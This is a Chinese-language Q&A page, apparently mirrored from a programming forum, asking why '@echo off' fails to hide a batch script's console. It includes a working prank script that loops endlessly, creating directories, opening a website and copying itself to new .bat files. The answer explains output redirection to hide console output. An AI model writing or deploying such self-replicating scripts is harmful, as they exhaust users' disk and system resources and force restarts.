首页 > 解决方案 > @echo off 在批处理脚本中不起作用

问题描述

我的电脑上有几个批处理脚本,其中许多是无害且烦人的。不幸的是,@echo off只是不能在我的电脑上工作。

这是脚本:

@echo off
:top
md %random%
start http://roblox.com
set self=%~n0
REM get own filename
TYPE %self%.bat > %self%%random%%random%.bat
goto top
(it's just extremely annoying and pretty much just makes it to where you have to restart)

通常它不会显示cmd。但是,我可以清楚地看到命令提示符。

标签: windowsbatch-file

解决方案


似乎您想隐藏评论的输出而不是提示和它们本身。这可以通过将它们的 STDOUT 和 STDERR 重定向到NUL.

如果您从 cmd 启动批处理文件,则使用以下命令启动它:

(batch.bat)>NUL 2>&1

如果您通过双击启动它,则可以创建另一个包含内容的批处理文件:

@(batch.bat)>NUL 2>&1

或在您的批处理文件中,从(不强烈推荐)开始:

@echo off
setlocal EnableDelayedExpansion

(
content
of
your
batch
file
)>NUL 2>&1

但请注意,您应该使用!var!而不是访问变量%var%,这就是我不推荐这种方式的原因。


推荐阅读